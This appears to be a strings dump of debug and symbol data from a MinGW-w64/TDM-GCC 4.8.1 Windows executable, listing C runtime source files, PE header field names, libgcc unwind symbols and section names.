long unsigned int
unsigned char
DWORD
float
signed char
short int
long long unsigned int
LPSTR
HINSTANCE__
unused
HINSTANCE
double
long double
flags
cmdline
__mingw_winmain_hInstance
__mingw_winmain_lpCmdLine
__mingw_winmain_nShowCmd
WinMain
WinMain@16
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/gs_support.c
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
DWORD
signed char
short int
long long unsigned int
UINT_PTR
ULONG_PTR
PVOID
LONGLONG
LowPart
LowPart
_LARGE_INTEGER
QuadPart
LARGE_INTEGER
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
EXCEPTION_POINTERS
_FILETIME
dwLowDateTime
dwHighDateTime
FILETIME
NTSTATUS
ft_scalar
ft_struct
__security_init_cookie
cookie
systime
perfctr
__report_gsfailure
StackCookie
cookie
GS_ExceptionRecord
GS_ContextRecord
GS_ExceptionPointers
__security_cookie
__security_cookie_complement
!abort
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlsmcrt.c
_CRT_MT
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlsthrd.c
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
WINBOOL
DWORD
float
LPVOID
signed char
short int
long long unsigned int
ULONG_PTR
HANDLE
_LIST_ENTRY
Flink
Blink
LIST_ENTRY
_RTL_CRITICAL_SECTION_DEBUG
CreatorBackTraceIndex
CriticalSection
ProcessLocksList
EntryCount
ContentionCount
Flags
CreatorBackTraceIndexHigh
SpareWORD
_RTL_CRITICAL_SECTION
DebugInfo
LockCount
RecursionCount
OwningThread
LockSemaphore
SpinCount
PRTL_CRITICAL_SECTION_DEBUG
RTL_CRITICAL_SECTION
CRITICAL_SECTION
double
long double
__mingwthr_key_t
__mingwthr_key
__mingwthr_run_key_dtors
value
___w64_mingwthr_add_key_dtor
new_key
___w64_mingwthr_remove_key_dtor
prev_key
cur_key
__mingw_TLScallback
hDllHandle
reason
reserved
__mingwthr_cs
__mingwthr_cs_init
key_dtor_list
calloc
!free
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pseudo-reloc-list.c
__RUNTIME_PSEUDO_RELOC_LIST_END__
__RUNTIME_PSEUDO_RELOC_LIST__
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/pesect.c
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
WINBOOL
DWORD
float
PBYTE
LPVOID
signed char
short int
long long unsigned int
LONG_PTR
ULONG_PTR
DWORD_PTR
_IMAGE_DOS_HEADER
e_magic
e_cblp
e_crlc
e_cparhdr
e_minalloc
e_maxalloc
e_csum
e_lfarlc
e_ovno
e_res
e_oemid
e_oeminfo
e_res2
e_lfanew
IMAGE_DOS_HEADER
PIMAGE_DOS_HEADER
_IMAGE_FILE_HEADER
Machine
NumberOfSections
PointerToSymbolTable
NumberOfSymbols
SizeOfOptionalHeader
IMAGE_FILE_HEADER
_IMAGE_DATA_DIRECTORY
IMAGE_DATA_DIRECTORY
_IMAGE_OPTIONAL_HEADER
Magic
MajorLinkerVersion
MinorLinkerVersion
SizeOfCode
SizeOfInitializedData
SizeOfUninitializedData
AddressOfEntryPoint
BaseOfCode
BaseOfData
ImageBase
SectionAlignment
FileAlignment
MajorOperatingSystemVersion
MinorOperatingSystemVersion
MajorImageVersion
MinorImageVersion
MajorSubsystemVersion
MinorSubsystemVersion
Win32VersionValue
SizeOfImage
SizeOfHeaders
CheckSum
Subsystem
DllCharacteristics
SizeOfStackReserve
SizeOfStackCommit
SizeOfHeapReserve
SizeOfHeapCommit
LoaderFlags
NumberOfRvaAndSizes
DataDirectory
IMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER
_IMAGE_NT_HEADERS
Signature
FileHeader
OptionalHeader
IMAGE_NT_HEADERS32
PIMAGE_NT_HEADERS32
IMAGE_NT_HEADERS
PIMAGE_NT_HEADERS
PhysicalAddress
VirtualSize
_IMAGE_SECTION_HEADER
SizeOfRawData
PointerToRawData
PointerToRelocations
PointerToLinenumbers
NumberOfRelocations
NumberOfLinenumbers
PIMAGE_SECTION_HEADER
OriginalFirstThunk
_IMAGE_IMPORT_DESCRIPTOR
ForwarderChain
FirstThunk
IMAGE_IMPORT_DESCRIPTOR
PIMAGE_IMPORT_DESCRIPTOR
double
long double
_ValidateImageBase
pDOSHeader
pOptHeader
_FindPESection
_FindPESectionByName
pName
__mingw_GetSectionForAddress
__mingw_GetSectionCount
_FindPESectionExec
_GetPEImageBase
_IsNonwritableInCurrentImage
pTarget
&rvaTarget
__mingw_enum_import_library_names
&importDesc
&importsStartRVA
)_image_base__
*strlen
,strncmp
../../../../../../src/gcc-4.8.1/libgcc/config/i386/cygwin.S
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
GNU AS 2.23.2
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector -fexceptions
../../../../../../src/gcc-4.8.1/libgcc/unwind-sjlj.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
short int
ix86_tune_indices
X86_TUNE_USE_LEAVE
X86_TUNE_PUSH_MEMORY
X86_TUNE_ZERO_EXTEND_WITH_AND
X86_TUNE_UNROLL_STRLEN
X86_TUNE_BRANCH_PREDICTION_HINTS
X86_TUNE_DOUBLE_WITH_ADD
X86_TUNE_USE_SAHF
X86_TUNE_MOVX
X86_TUNE_PARTIAL_REG_STALL
X86_TUNE_PARTIAL_FLAG_REG_STALL
X86_TUNE_LCP_STALL
X86_TUNE_USE_HIMODE_FIOP
X86_TUNE_USE_SIMODE_FIOP
X86_TUNE_USE_MOV0
X86_TUNE_USE_CLTD
X86_TUNE_USE_XCHGB
X86_TUNE_SPLIT_LONG_MOVES
X86_TUNE_READ_MODIFY_WRITE
X86_TUNE_READ_MODIFY
X86_TUNE_PROMOTE_QIMODE
X86_TUNE_FAST_PREFIX
X86_TUNE_SINGLE_STRINGOP
X86_TUNE_QIMODE_MATH
X86_TUNE_HIMODE_MATH
X86_TUNE_PROMOTE_QI_REGS
X86_TUNE_PROMOTE_HI_REGS
X86_TUNE_SINGLE_POP
X86_TUNE_DOUBLE_POP
X86_TUNE_SINGLE_PUSH
X86_TUNE_DOUBLE_PUSH
X86_TUNE_INTEGER_DFMODE_MOVES
X86_TUNE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_UNALIGNED_LOAD_OPTIMAL
X86_TUNE_SSE_UNALIGNED_STORE_OPTIMAL
X86_TUNE_SSE_PACKED_SINGLE_INSN_OPTIMAL
X86_TUNE_SSE_SPLIT_REGS
X86_TUNE_SSE_TYPELESS_STORES
X86_TUNE_SSE_LOAD0_BY_PXOR
X86_TUNE_MEMORY_MISMATCH_STALL
X86_TUNE_PROLOGUE_USING_MOVE
X86_TUNE_EPILOGUE_USING_MOVE
X86_TUNE_SHIFT1
X86_TUNE_USE_FFREEP
X86_TUNE_INTER_UNIT_MOVES
X86_TUNE_INTER_UNIT_CONVERSIONS
X86_TUNE_FOUR_JUMP_LIMIT
X86_TUNE_SCHEDULE
X86_TUNE_USE_BT
X86_TUNE_USE_INCDEC
X86_TUNE_PAD_RETURNS
X86_TUNE_PAD_SHORT_FUNCTION
X86_TUNE_EXT_80387_CONSTANTS
X86_TUNE_AVOID_VECTOR_DECODE
X86_TUNE_PROMOTE_HIMODE_IMUL
X86_TUNE_SLOW_IMUL_IMM32_MEM
X86_TUNE_SLOW_IMUL_IMM8
X86_TUNE_MOVE_M1_VIA_OR
X86_TUNE_NOT_UNPAIRABLE
X86_TUNE_NOT_VECTORMODE
X86_TUNE_USE_VECTOR_FP_CONVERTS
X86_TUNE_USE_VECTOR_CONVERTS
X86_TUNE_FUSE_CMP_AND_BRANCH
X86_TUNE_OPT_AGU
X86_TUNE_VECTORIZE_DOUBLE
X86_TUNE_SOFTWARE_PREFETCHING_BENEFICIAL
X86_TUNE_AVX128_OPTIMAL
X86_TUNE_REASSOC_INT_TO_PARALLEL
X86_TUNE_REASSOC_FP_TO_PARALLEL
X86_TUNE_GENERAL_REGS_SSE_SPILL
X86_TUNE_AVOID_MEM_OPND_FOR_CMOVE
X86_TUNE_LAST
ix86_arch_indices
X86_ARCH_CMOV
X86_ARCH_CMPXCHG
X86_ARCH_CMPXCHG8B
X86_ARCH_XADD
X86_ARCH_BSWAP
X86_ARCH_LAST
_Unwind_Word
_Unwind_Ptr
_Unwind_Exception_Class
long long unsigned int
_URC_NO_REASON
_URC_FOREIGN_EXCEPTION_CAUGHT
_URC_FATAL_PHASE2_ERROR
_URC_FATAL_PHASE1_ERROR
_URC_NORMAL_STOP
_URC_END_OF_STACK
_URC_HANDLER_FOUND
_URC_INSTALL_CONTEXT
_URC_CONTINUE_UNWIND
_Unwind_Reason_Code
_Unwind_Exception_Cleanup_Fn
_Unwind_Exception
exception_class
exception_cleanup
private_1
private_2
_Unwind_Action
_Unwind_Stop_Fn
_Unwind_Context
_Unwind_Trace_Fn
_Unwind_Personality_Fn
pthread_once_t
pthread_key_t
__gthread_key_t
__gthread_once_t
SjLj_Function_Context
call_site
_Unwind_FrameState
uw_update_context
__gthread_active_p
uw_frame_state_for
uw_identify_context
__shmem_grabber_use_fc_key
__shmem_grabber_fc_key
__gthread_key_create
__key
__dtor
__shmem_grabber_sjlj_once
__gthread_once
__once
__func
fc_key_init_once
__gthread_setspecific
__key
__ptr
__shmem_grabber_fc_static
_Unwind_SjLj_SetContext
uw_install_context
current
target
__gthread_getspecific
__key
_Unwind_SjLj_Unregister
uw_advance_context
uw_init_context
__shmem_init_use_fc_key
"temp
__shmem_init_sjlj_once
#temp
$fc_key_init
*_Unwind_RaiseException_Phase2
/match_handler
*_Unwind_ForcedUnwind_Phase2
/stop
/stop_code
/action
_Unwind_SjLj_Register
<_Unwind_GetGR
!index
<_Unwind_GetCFA
_Unwind_SetGR
!index
<_Unwind_GetIP
<_Unwind_GetIPInfo
!ip_before_insn
_Unwind_SetIP
<_Unwind_GetLanguageSpecificData
<_Unwind_GetRegionStart
<_Unwind_FindEnclosingFunction
>_Unwind_GetDataRelBase
>_Unwind_GetTextRelBase
@_Unwind_SjLj_GetContext
<_Unwind_SjLj_RaiseException
<_Unwind_SjLj_ForcedUnwind
!stop
_Unwind_SjLj_Resume
<_Unwind_SjLj_Resume_or_Rethrow
E_Unwind_DeleteException
>_Unwind_Backtrace
Ftrace
Ftrace_argument
J__shmem_ptr_fc_static
J__shmem_ptr_fc_key
J__shmem_ptr_use_fc_key
J__shmem_ptr_sjlj_once
Kpthread_key_create
L__shmem_grab
Mabort
Kpthread_once
Kpthread_setspecific
Npthread_getspecific
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector -fno-exceptions
../../../../../../src/gcc-4.8.1/libgcc/../libgcc/config/i386/shmem-win32.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
size_t
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
DWORD
float
signed char
short int
long long unsigned int
HANDLE
__w32sp_trap
get_ptr_from_atom
name_buf
name_buf_len
ptr_offset
ptr_len
__shmem_grab
initfunc
prefix_len
name_len
ptr_len
full_atom_name
hmutex
shared_mem
shmem_version_prefix
malloc
free
!memset
strlen
"memcpy
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -O2 -O2 -fbuilding-libgcc -fno-stack-protector
../../../../../../src/gcc-4.8.1/libgcc/libgcc2.c
c:\crossdev\gccmaster\build-tdm64\gcc\x86_64-w64-mingw32\32\libgcc
unsigned int
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
double
float
long double
short int
ix86_tune_indices
X86_TUNE_USE_LEAVE
X86_TUNE_PUSH_MEMORY
X86_TUNE_ZERO_EXTEND_WITH_AND
X86_TUNE_UNROLL_STRLEN
X86_TUNE_BRANCH_PREDICTION_HINTS
X86_TUNE_DOUBLE_WITH_ADD
X86_TUNE_USE_SAHF
X86_TUNE_MOVX
X86_TUNE_PARTIAL_REG_STALL
X86_TUNE_PARTIAL_FLAG_REG_STALL
X86_TUNE_LCP_STALL
X86_TUNE_USE_HIMODE_FIOP
X86_TUNE_USE_SIMODE_FIOP
X86_TUNE_USE_MOV0
X86_TUNE_USE_CLTD
X86_TUNE_USE_XCHGB
X86_TUNE_SPLIT_LONG_MOVES
X86_TUNE_READ_MODIFY_WRITE
X86_TUNE_READ_MODIFY
X86_TUNE_PROMOTE_QIMODE
X86_TUNE_FAST_PREFIX
X86_TUNE_SINGLE_STRINGOP
X86_TUNE_QIMODE_MATH
X86_TUNE_HIMODE_MATH
X86_TUNE_PROMOTE_QI_REGS
X86_TUNE_PROMOTE_HI_REGS
X86_TUNE_SINGLE_POP
X86_TUNE_DOUBLE_POP
X86_TUNE_SINGLE_PUSH
X86_TUNE_DOUBLE_PUSH
X86_TUNE_INTEGER_DFMODE_MOVES
X86_TUNE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_PARTIAL_REG_DEPENDENCY
X86_TUNE_SSE_UNALIGNED_LOAD_OPTIMAL
X86_TUNE_SSE_UNALIGNED_STORE_OPTIMAL
X86_TUNE_SSE_PACKED_SINGLE_INSN_OPTIMAL
X86_TUNE_SSE_SPLIT_REGS
X86_TUNE_SSE_TYPELESS_STORES
X86_TUNE_SSE_LOAD0_BY_PXOR
X86_TUNE_MEMORY_MISMATCH_STALL
X86_TUNE_PROLOGUE_USING_MOVE
X86_TUNE_EPILOGUE_USING_MOVE
X86_TUNE_SHIFT1
X86_TUNE_USE_FFREEP
X86_TUNE_INTER_UNIT_MOVES
X86_TUNE_INTER_UNIT_CONVERSIONS
X86_TUNE_FOUR_JUMP_LIMIT
X86_TUNE_SCHEDULE
X86_TUNE_USE_BT
X86_TUNE_USE_INCDEC
X86_TUNE_PAD_RETURNS
X86_TUNE_PAD_SHORT_FUNCTION
X86_TUNE_EXT_80387_CONSTANTS
X86_TUNE_AVOID_VECTOR_DECODE
X86_TUNE_PROMOTE_HIMODE_IMUL
X86_TUNE_SLOW_IMUL_IMM32_MEM
X86_TUNE_SLOW_IMUL_IMM8
X86_TUNE_MOVE_M1_VIA_OR
X86_TUNE_NOT_UNPAIRABLE
X86_TUNE_NOT_VECTORMODE
X86_TUNE_USE_VECTOR_FP_CONVERTS
X86_TUNE_USE_VECTOR_CONVERTS
X86_TUNE_FUSE_CMP_AND_BRANCH
X86_TUNE_OPT_AGU
X86_TUNE_VECTORIZE_DOUBLE
X86_TUNE_SOFTWARE_PREFETCHING_BENEFICIAL
X86_TUNE_AVX128_OPTIMAL
X86_TUNE_REASSOC_INT_TO_PARALLEL
X86_TUNE_REASSOC_FP_TO_PARALLEL
X86_TUNE_GENERAL_REGS_SSE_SPILL
X86_TUNE_AVOID_MEM_OPND_FOR_CMOVE
X86_TUNE_LAST
ix86_arch_indices
X86_ARCH_CMOV
X86_ARCH_CMPXCHG
X86_ARCH_CMPXCHG8B
X86_ARCH_XADD
X86_ARCH_BSWAP
X86_ARCH_LAST
signed char
long long unsigned int
complex float
complex double
complex long double
__float128
__unknown__
func_ptr
__CTOR_LIST__
__DTOR_LIST__
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc/mingw_matherr.c
_MINGW_INSTALL_DEBUG_MATHERR
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc/invalid_parameter_handler.c
unsigned int
uintptr_t
wchar_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
float
signed char
short int
long long unsigned int
LONG_PTR
PVOID
PLONG
double
long double
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
mingw_get_invalid_parameter_handler
mingw_set_invalid_parameter_handler
new_handler
handler
_imp___set_invalid_parameter_handler
_imp___get_invalid_parameter_handler
mingw_getsp.S
h:\crossdev\gccmaster\build-tdm64\runtime\mingw-w64-crt
GNU AS 2.23.2
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include/psdk_inc
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
crtexe.c
intrin-impl.h
_mingw.h
winnt.h
minwindef.h
basetsd.h
errhandlingapi.h
processthreadsapi.h
stdlib.h
combaseapi.h
wtypes.h
internal.h
math.h
tchar.h
ctype.h
string.h
process.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
tlssup.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
charmax.c
combaseapi.h
wtypes.h
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
mingw_helpers.c
combaseapi.h
wtypes.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
xtxtmode.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
atonexit.c
combaseapi.h
wtypes.h
stdlib.h
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
_newmode.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
wildcard.c
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
combaseapi.h
wtypes.h
natstart.c
internal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
crt_handler.c
winnt.h
minwindef.h
basetsd.h
errhandlingapi.h
combaseapi.h
wtypes.h
signal.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
cinitexe.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
dllargv.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/include
merr.c
combaseapi.h
wtypes.h
internal.h
math.h
stdio.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
pseudo-reloc.c
vadefs.h
_mingw.h
minwindef.h
basetsd.h
winnt.h
combaseapi.h
wtypes.h
stdio.h
<built-in>
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
CRT_fp10.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
gccmain.c
combaseapi.h
wtypes.h
_mingw.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
crt0_c.c
minwindef.h
winnt.h
winbase.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
gs_support.c
winnt.h
minwindef.h
basetsd.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
tlsmcrt.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
tlsthrd.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
minwinbase.h
stdlib.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
pseudo-reloc-list.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
pesect.c
_mingw.h
minwindef.h
basetsd.h
winnt.h
string.h
../../../../../../src/gcc-4.8.1/libgcc/config/i386
cygwin.S
../../../../../../src/gcc-4.8.1/libgcc
../../../../../../src/gcc-4.8.1/libgcc/../gcc/config/i386
c:/mingw64tdm/x86_64-w64-mingw32/include
unwind-sjlj.c
./gthr-default.h
unwind.inc
i386.h
./unwind.h
pthread.h
shmem.h
stdlib.h
O-=eK\
../../../../../../src/gcc-4.8.1/libgcc/../libgcc/config/i386
c:/mingw64tdm/x86_64-w64-mingw32/include
shmem-win32.c
_mingw.h
minwindef.h
winnt.h
malloc.h
string.h
../../../../../../src/gcc-4.8.1/libgcc/../gcc/config/i386
../../../../../../src/gcc-4.8.1/libgcc
i386.h
libgcc2.c
gbl-ctors.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
mingw_matherr.c
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
h:/crossdev/gccmaster/host-toolchain-tdm64/x86_64-w64-mingw32/include
invalid_parameter_handler.c
_mingw.h
basetsd.h
winnt.h
combaseapi.h
wtypes.h
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/misc
mingw_getsp.S
mingw_getsp.S
Subsystem
CheckSum
SizeOfImage
BaseOfCode
SectionAlignment
MinorSubsystemVersion
DataDirectory
SizeOfStackCommit
ImageBase
SizeOfCode
MajorLinkerVersion
SizeOfHeapReserve
SizeOfInitializedData
SizeOfStackReserve
SizeOfHeapCommit
MinorLinkerVersion
__enative_startup_state
SizeOfUninitializedData
AddressOfEntryPoint
MajorSubsystemVersion
SizeOfHeaders
MajorOperatingSystemVersion
FileAlignment
NumberOfRvaAndSizes
ExceptionRecord
DllCharacteristics
MinorImageVersion
MinorOperatingSystemVersion
LoaderFlags
Win32VersionValue
MajorImageVersion
hDllHandle
lpreserved
dwReason
__enative_startup_state
ExceptionRecord
sSecInfo
ExceptionRecord
HighPart
pSection
TimeDateStamp
pNTHeader
Characteristics
pImageBase
VirtualAddress
iSection
stop_argument
cur_context
personality
this_context
context
.file
crtexe.c
_envp
_argv
_argc
_argret
.text
.data
.file
crtbegin.c
.text
.data
.file
main.cpp
.text
.data
.rdata
.file
eh_personality.cc
.text
.data
.rdata
.file
string-inst.cc
.text
.data
.rdata
.file
del_op.cc
__ZdlPv
.text
.data
.file
new_op.cc
__Znwj
.text
.data
.file
eh_exception.cc
.text
.data
.rdata
.file
class_type_info.cc
.text
.data
.file
.text
.data
.file
eh_call.cc
.text
.data
.file
eh_terminate.cc
.text
.data
.file
eh_catch.cc
.text
.data
.file
eh_globals.cc
.text
.data
.rdata
.file
eh_throw.cc
.text
.data
.file
eh_alloc.cc
.text
.data
.rdata
.ctors
.file
functexcept.cc
.text
.data
.rdata
.file
new_handler.cc
.text
.data
.file
bad_alloc.cc
.text
.data
.rdata
.file
pure.cc
.text
.data
.rdata
.file
tinfo.cc
.text
.data
.file
eh_term_handler.cc
.text
.data
.rdata
.file
eh_unex_handler.cc
.text
.data
.rdata
.file
bad_cast.cc
.text
.data
.rdata
.file
bad_typeid.cc
.text
.data
.rdata
.file
system_error.cc
.text
.data
.rdata
.ctors
.file
future.cc
___tcf_0
.text
.data
.rdata
.file
functional.cc
.text
.data
.rdata
.file
stdexcept.cc
.text
.data
.file
ios_failure.cc
.text
.data
.file
regex.cc
.text
.data
.rdata
.file
vterminate.cc
.text
.data
.rdata
.file
eh_ptr.cc
.text
.data
.file
.text
.data
.file
guard.cc
.text
.data
.rdata
.file
eh_type.cc
.text
.data
.file
cp-demangle.c
_d_name
_d_type
.text
.data
.rdata
.file
tlssup.c
___xd_a
___xd_z
.text
.data
.CRT$XLD$
.CRT$XLC
.rdata
.CRT$XDZ4
.CRT$XDA0
.CRT$XLZ,
.file
charmax.c
.text
.data
.file
mingw_helpers.c
.text
.data
.file
xtxtmode.c
.text
.data
.file
atonexit.c
_atexit
.text
.data
.file
_newmode.c
.text
.data
.file
wildcard.c
.text
.data
.file
natstart.c
.text
.data
.file
crt_handler.c
.text
.data
.file
cinitexe.c
.text
.data
.CRT$XCA
.file
dllargv.c
.text
.data
.file
merr.c
.text
.data
.rdata
.file
pseudo-reloc.c
.text
.data
.rdata
.file
CRT_fp10.c
.text
.data
.file
gccmain.c
___main
.text
.data
.file
crt0_c.c
_main
.text
.data
.file
gs_support.c
.text
.data
.rdata
.file
tlsmcrt.c
.text
.data
.file
tlsthrd.c
.text
.data
.file
.text
.data
.file
pesect.c
.text
.data
.file
.text
.data
.file
unwind-sjlj.c
.text
.data
.rdata
.file
shmem-win32.c
.text
.data
.file
libgcc2.c
.text
.data
.file
mingw_matherr.c
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.file
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.idata$5
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.idata$7
.text
.data
.text
.data
.text
.data
.idata$6
.text
.data
.text
.data
.text
.data
.idata$4
.text
.data
.text
.data
.text
.data
.file
hname
fthunk
.text
.data
.idata$2<
.file
.text
.data
.file
thread.c
.text
.data
.rdata
.CRT$XLF(
.file
mutex.c
.text
.data
.rdata
.file
cond.c
.text
.data
.rdata
.file
shmem.c
.text
.data
.file
spinlock.c
.text
.data
.rdata
.file
rwlock.c
.text
.data
.rdata
.file
misc.c
.text
.data
.file
hname
fthunk
.text
.data
.file
.text
.data
.file
hname
fthunk
.text
.data
.idata$2
.file
.text
.data
.file
hname
fthunk
.text
.data
.idata$2P
.file
.text
.data
.file
hname
fthunk
.text
.data
.idata$2d
.file
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.file
hname
fthunk
.text
.data
.idata$2(
.file
.text
.data
.file
mingw_getsp.S
.text
.data
.text
.data
.text
.data
.text
.data
.file
crtend.c
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.idata$5
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.idata$4
.text
.data
.text
.data
.idata$7
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.text
.data
.idata$6
.text
.data
.text
.data
.text
.data
.text
.data
.idata$5
.text
.data
.text
.data
.text
.data
